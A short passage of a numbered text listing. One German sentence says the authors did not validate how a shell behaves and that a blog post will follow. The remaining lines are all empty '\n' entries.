  98. Das ist uns etwas peinlich, das h&amp;#xE4;tten wir eigentlich validieren m&amp;#xFC;ssen. Aber alle Security-Experten, die wir angerufen haben, wussten nicht, wie sich die Shell da verh&amp;#xE4;lt. Wird per Blog-Posting nachgereicht. \n
  99. \n
  100. \n
  101. \n
  102. \n
  103. \n
  104. \n
  105. \n
  106. \n
  107. \n
  108. \n
  109. \n
  110. \n
  111. \n
  112. \n
  113. \n
  114. \n
  115. \n
  116. \n
  117. \n
  118. \n
  119. \n
  120. \n
  121. \n
  122. \n
  123. \n
  124. \n
  125. \n
  126. \n
  127. \n
  128. \n
  129. \n
  130. \n
  131. \n
  132. \n
  133. \n
  134. \n
  135. \n
  136. \n
  137. \n
  138. \n
  139. \n
  140. \n
  141. \n
  142. \n
  143. \n
  144. \n
  145. \n
  146. \n
  147. \n
  148. \n
  149. \n
  150. \n
  151. \n
  152. \n
  153. \n
  154. \n
  155. \n
  156. \n
  157. \n
  158. \n
  159. \n
  160. \n
  161. \n
  162. \n
  163. \n
  164. \n
  165. \n
  166. \n
  167. \n
  168. \n
  169. \n
  170. \n
  171. \n
  172. \n
  173. \n
  174. \n
  175. \n
  176. \n
  177. \n
  178. \n
  179. \n
  180. \n
  181. \n
  182. \n
  183. \n
  184. \n
  185. \n
  186. \n
  187. \n
  188. \n
  189. \n
  190. \n
  191. \n
  192. \n
  193. \n
  194. \n
  195. \n
  196. \n
  197. \n
  198. \n
  199. \n
  200. \n
  201. \n
  202. \n
  203. \n
  204. \n
  205. \n
  206. \n
  207. \n
  208. \n
  209. \n
  210. \n
  211. \n